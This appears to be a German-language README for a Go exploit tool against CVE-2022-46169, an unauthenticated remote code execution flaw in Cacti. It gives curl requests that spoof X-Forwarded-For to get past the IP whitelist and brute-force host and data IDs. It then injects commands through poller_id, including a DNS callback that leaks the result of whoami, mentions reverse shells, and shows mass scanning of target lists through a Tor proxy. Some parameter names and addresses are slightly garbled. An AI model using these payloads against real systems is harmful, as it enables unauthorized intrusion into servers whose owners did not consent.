
CVE-2022-46169 - Cacti Blinde Remote-Codeausführung (Pre-Auth)
Cacti Blinde Remote Code Execution (Pre-Auth)
Dies dient nur zu Bildungszwecken. Ich bin nicht für deine Handlungen verantwortlich. Benutzung auf eigene Gefahr.
Dieses Skript brute-forcet die Variablen, die zum Ausnutzen dieser Schwachstelle erforderlich sind. Dieser Exploit benötigt die folgenden 3 Variablen:
host_id-Parameterlocal_data_ids-ParameterDie Datei remote_agent.php ist durch eine IP-Whitelist geschützt. Du kannst dies umgehen, indem du deine IP-Adresse im X-Forwarded-IP-Header fälschst. Die meisten Instanzen haben 127.0.0.1 oder die eigene IP-Adresse des Servers auf der Whitelist.
Als Nächstes musst du die Anfrageparameter host_id und brute-forcen. Dies geschieht durch Aufzählen von Integer-Paaren mit einem Standard-Minimalwert von 1 und einem Maximalwert von 10.
local_data_idsx,yBeispielanfrage
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
Sobald du diese 3 Variablen hast, kannst du einen Shell-Befehl in den poller_id-Schlüssel injizieren und ihn ausführen, indem du ein ; vor deinen Befehl setzt.
Dies ist eine blinde RCE, daher musst du die Ausgabe deines Befehls irgendwohin senden, zum Beispiel an interact.sh, oder eine Reverse Shell öffnen. Denke daran, den Wert von poller_id URL-zu-kodieren!
Der folgende Befehl führt ping $(whoami).test.com aus.
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
Das Skript gibt die Ergebnisse im CSV-Format aus. Die Kopfzeilen sind "target", "ip", "host_id", "data_id", "url".
Wenn der url-Wert fehlt, bedeutet das, dass das Skript die IP-Beschränkung umgehen konnte, aber die IDs nicht erfolgreich brute-forcen konnte. Du kannst diese Ausgabe verwenden und einen höheren Maximalwert setzen, um es erneut zu versuchen.
Mit den folgenden Befehlen kannst du die Ausgabedatei schnell analysieren.
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv